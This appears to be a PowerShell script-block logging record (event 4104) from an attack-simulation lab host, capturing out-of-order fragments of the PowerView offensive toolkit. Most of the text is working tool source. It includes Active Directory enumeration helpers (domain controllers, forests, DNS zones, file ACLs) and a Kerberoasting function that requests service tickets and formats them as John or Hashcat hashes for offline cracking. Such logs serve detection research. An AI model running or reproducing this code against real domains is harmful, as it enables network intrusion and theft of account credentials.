[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Computer')] [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Switch] $LDAP, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } # UAC specification for domain controllers $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' Get-DomainComputer @Arguments } else { $FoundDomain = Get-Domain @Arguments if ($FoundDomain) { $FoundDomain.DomainControllers } } } } function Get-Forest { <# .SYNOPSIS Returns the forest object for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertTo-SID .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current forest or the forest specified with -Forest X. .PARAMETER Forest The forest name to query for, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-Forest -Forest external.domain .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Forest -Credential $Cred .OUTPUTS System.Management.Automation.PSCustomObject Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition to the forest root domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" if ($PSBoundParameters['Forest']) { $TargetForest = $ ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997195 Keywords=None Message=Creating Scriptblock text (9 of 54): } elseif ($PSBoundParameters['Credential']) { # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain $DomainObject = Get-Domain -Credential $Credential $BindServer = ($DomainObject.PdcRoleOwner).Name $TargetDomain = $DomainObject.Name } elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $TargetDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" } } else { # otherwise, resort to Get-Domain to retrieve the current domain object write-verbose "get-domain" $DomainObject = Get-Domain $BindServer = ($DomainObject.PdcRoleOwner).Name $TargetDomain = $DomainObject.Name } if ($PSBoundParameters['Server']) { # if there's not a specified server to bind to, try to pull a logon server from ENV variables $BindServer = $Server } $SearchString = 'LDAP://' if ($BindServer -and ($BindServer.Trim() -ne '')) { $SearchString += $BindServer if ($TargetDomain) { $SearchString += '/' } } if ($PSBoundParameters['SearchBasePrefix']) { $SearchString += $SearchBasePrefix + ',' } if ($PSBoundParameters['SearchBase']) { if ($SearchBase -Match '^GC://') { # if we're searching the global catalog, get the path in the right format $DN = $SearchBase.ToUpper().Trim('/') $SearchString = '' } else { if ($SearchBase -match '^LDAP://') { if ($SearchBase -match "LDAP://.+/.+") { $SearchString = '' $DN = $SearchBase } else { $DN = $SearchBase.SubString(7) } } else { $DN = $SearchBase } } } else { # transform the target domain name into a distinguishedName if an ADS search base is not specified if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" } } $SearchString += $DN Write-Verbose "[Get-DomainSearcher] search base: $SearchString" if ($Credential -ne [Management.Automation.PSCredential]::Empty) { Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" # bind to the inital search object using alternate credentials $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { # bind to the inital object using the current credentials $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All if ($PSBoundParameters['ServerTimeLimit']) { $Searcher.ServerTimeLimit = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $Searcher.Tombstone = $True } if ($PSBoundParameters['LDAPFilter']) { $Searcher.filter = $LDAPFilter } if ($PSBoundParameters['SecurityMasks']) { $Searcher.SecurityMasks = Switch ($SecurityMasks) { 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 'None' { [System.DirectoryServices.SecurityMasks]::None } 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } } } if ($PSBoundParameters['Properties']) { # handle an array of properties to load w/ the possibility of comma-separated strings $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) } $Searcher } } function Convert-DNSRecord { <# .SYNOPSIS Helpers that decodes a binary DNS record blob. Author: Michael B. Smith, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Decodes a binary blob representing an Active Directory DNS entry. Used by Get-DomainDNSRecord. Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 .PARAMETER DNSRecord A byte array representing the DNS record. .OUTPUTS System.Management.Automation.PSCustomObject Outputs custom PSObjects with detailed information about the DNS record entry. .LINK https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 #> [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [Byte[]] $DNSRecord ) BEGIN { function Get-Name { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] [CmdletBinding()] Param( [Byte[]] $Raw ) [Int]$Length = $Raw[0] [Int]$Segments = $Raw[1] [Int]$Index = 2 [String]$Name = '' while ($Segments-- -gt 0) { [Int]$SegmentLength = $Raw[$Index++] while ($SegmentLength-- -gt 0) { $Name += [Char]$Raw[$Index++] } $Name += "." } $Name } } PROCESS { # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) $TTLRaw = $DNSRecord[12..15] # reverse for big endian $Null = [array]::Reverse($TTLRaw) $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) $Age = [BitConverter]::ToUInt32($DNSRecord, 20) if ($Age -ne 0) { $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() } else { $TimeStamp = '[static]' } $DNSRecordObject = New-Object PSObject if ($RDataType -eq 1) { $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] $Data = $IP $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' } elseif ($RDataType -eq 2) { $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $NSName $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' } elseif ($RDataType -eq 5) { $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $Alias $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' } elseif ($RDataType -eq 6) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' } elseif ($RDataType -eq 12) { $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $Ptr $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' } elseif ($RDataType -eq 13) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' } elseif ($RDataType -eq 15) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' } elseif ($RDataType -eq 16) { [string]$TXT = '' [int]$SegmentLength = $DNSRecord[24] $Index = 25 while ($SegmentLength-- -gt 0) { $TXT += [char]$DNSRecord[$index++] } $Data = $TXT $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' } elseif ($RDataType -eq 28) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' } elseif ($RDataType -eq 33) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' } else { $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' } $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL $DNSRecordObject | Add-Member Noteproperty 'Age' $Age $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp $DNSRecordObject | Add-Member Noteproperty 'Data' $Data $DNSRecordObject } } function Get-DomainDNSZone { <# .SYNOPSIS Enumerates the Active Directory DNS zones for a given domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .PARAMETER Domain The domain to query for zones, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSZone Retrieves the DNS zones for the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. .OUTPUTS PowerView.DNSZone Outputs custom PSObjects with detailed information about the DNS zone. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSZone')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsZone)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher1 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher1) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } else { $Results = $DNSSearcher1.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DNSSearcher1.dispose() } $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' $DNSSearcher2 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher2) { try { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } else ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997194 Keywords=None Message=Creating Scriptblock text (8 of 54): ]] $Path, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { function Convert-FileRight { # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights [CmdletBinding()] Param( [Int] $FSR ) $AccessMask = @{ [uint32]'0x80000000' = 'GenericRead' [uint32]'0x40000000' = 'GenericWrite' [uint32]'0x20000000' = 'GenericExecute' [uint32]'0x10000000' = 'GenericAll' [uint32]'0x02000000' = 'MaximumAllowed' [uint32]'0x01000000' = 'AccessSystemSecurity' [uint32]'0x00100000' = 'Synchronize' [uint32]'0x00080000' = 'WriteOwner' [uint32]'0x00040000' = 'WriteDAC' [uint32]'0x00020000' = 'ReadControl' [uint32]'0x00010000' = 'Delete' [uint32]'0x00000100' = 'WriteAttributes' [uint32]'0x00000080' = 'ReadAttributes' [uint32]'0x00000040' = 'DeleteChild' [uint32]'0x00000020' = 'Execute/Traverse' [uint32]'0x00000010' = 'WriteExtendedAttributes' [uint32]'0x00000008' = 'ReadExtendedAttributes' [uint32]'0x00000004' = 'AppendData/AddSubdirectory' [uint32]'0x00000002' = 'WriteData/AddFile' [uint32]'0x00000001' = 'ReadData/ListDirectory' } $SimplePermissions = @{ [uint32]'0x1f01ff' = 'FullControl' [uint32]'0x0301bf' = 'Modify' [uint32]'0x0200a9' = 'ReadAndExecute' [uint32]'0x02019f' = 'ReadAndWrite' [uint32]'0x020089' = 'Read' [uint32]'0x000116' = 'Write' } $Permissions = @() # get simple permission $Permissions += $SimplePermissions.Keys | ForEach-Object { if (($FSR -band $_) -eq $_) { $SimplePermissions[$_] $FSR = $FSR -band (-not $_) } } # get remaining extended permissions $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } ($Permissions | Where-Object {$_}) -join ',' } $ConvertArguments = @{} if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $MappedComputers = @{} } PROCESS { ForEach ($TargetPath in $Path) { try { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $ACL = Get-Acl -Path $TargetPath $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { $SID = $_.IdentityReference.Value $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Path' $TargetPath $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) $Out | Add-Member Noteproperty 'IdentityReference' $Name $Out | Add-Member Noteproperty 'IdentitySID' $SID $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') $Out } } catch { Write-Verbose "[Get-PathAcl] error: $_" } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } function Convert-LDAPProperty { <# .SYNOPSIS Helper that converts specific LDAP property result fields and outputs a custom psobject. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts a set of raw LDAP properties results from ADSI/LDAP searches into a proper PSObject. Used by several of the Get-Domain* function. .PARAMETER Properties Properties object to extract out LDAP fields for display. .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject with LDAP hashtable properties translated. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] $Properties ) $ObjectProperties = @{} $Properties.PropertyNames | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } elseif ($_ -eq 'grouptype') { $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } elseif ($_ -eq 'samaccounttype') { $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } elseif ($_ -eq 'objectguid') { # convert the GUID to a string $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'useraccountcontrol') { $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum } elseif ($_ -eq 'ntsecuritydescriptor') { # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { $ObjectProperties['Owner'] = $Descriptor.Owner } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group } if ($Descriptor.DiscretionaryAcl) { $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl } if ($Descriptor.SystemAcl) { $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl } } elseif ($_ -eq 'accountexpires') { if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { $ObjectProperties[$_] = "NEVER" } else { $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject $Temp = $Properties[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) } else { # otherwise just a string $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) } catch { Write-Verbose "[Convert-LDAPProperty] error: $_" $ObjectProperties[$_] = $Prop[$_] } } elseif ($Properties[$_].count -eq 1) { $ObjectProperties[$_] = $Properties[$_][0] } else { $ObjectProperties[$_] = $Properties[$_] } } } try { New-Object -TypeName PSObject -Property $ObjectProperties } catch { Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" } } ######################################################## # # Domain info functions below. # ######################################################## function Get-DomainSearcher { <# .SYNOPSIS Helper used by various functions that builds a custom AD searcher object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain .DESCRIPTION Takes a given domain and a number of customizations and returns a System.DirectoryServices.DirectorySearcher object. This function is used heavily by other LDAP/ADSI searcher functions (Verb-Domain*). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER SearchBasePrefix Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSearcher -Domain testlab.local Return a searcher for all objects in testlab.local. .EXAMPLE Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. .EXAMPLE Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). .OUTPUTS System.DirectoryServices.DirectorySearcher #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.DirectorySearcher')] [CmdletBinding()] Param( [Parameter(ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [String] $SearchBasePrefix, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit = 120, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $UserDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" } } ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997193 Keywords=None Message=Creating Scriptblock text (7 of 54): ifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. .PARAMETER OutputFormat Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote domain using Invoke-UserImpersonation. .EXAMPLE Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" Request a kerberos service ticket for the specified SPN. .EXAMPLE "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket Request kerberos service tickets for all SPNs passed on the pipeline. .EXAMPLE Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR Request kerberos service tickets for all users with non-null SPNs and output in JTR format. .INPUTS String Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. .INPUTS PowerView.User Accepts one or more PowerView.User objects on the pipeline with the User parameter set. .OUTPUTS PowerView.SPNTicket Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> [OutputType('PowerView.SPNTicket')] [CmdletBinding(DefaultParameterSetName = 'RawSPN')] Param ( [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('.*/.*')] [Alias('ServicePrincipalName')] [String[]] $SPN, [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] [Object[]] $User, [ValidateSet('John', 'Hashcat')] [Alias('Format')] [String] $OutputFormat = 'Hashcat', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { if ($PSBoundParameters['User']) { $TargetObject = $User } else { $TargetObject = $SPN } ForEach ($Object in $TargetObject) { if ($PSBoundParameters['User']) { $UserSPN = $Object.ServicePrincipalName $SamAccountName = $Object.SamAccountName $DistinguishedName = $Object.DistinguishedName } else { $UserSPN = $Object $SamAccountName = 'UNKNOWN' $DistinguishedName = 'UNKNOWN' } # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { $UserSPN = $UserSPN[0] } try { $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } catch { Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } if ($TicketByteStream) { $Out = New-Object PSObject $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } else { $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" $Out | Add-Member Noteproperty 'TicketByteHexStream' $null } } else { Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } if($Hash) { # JTR jumbo output format - 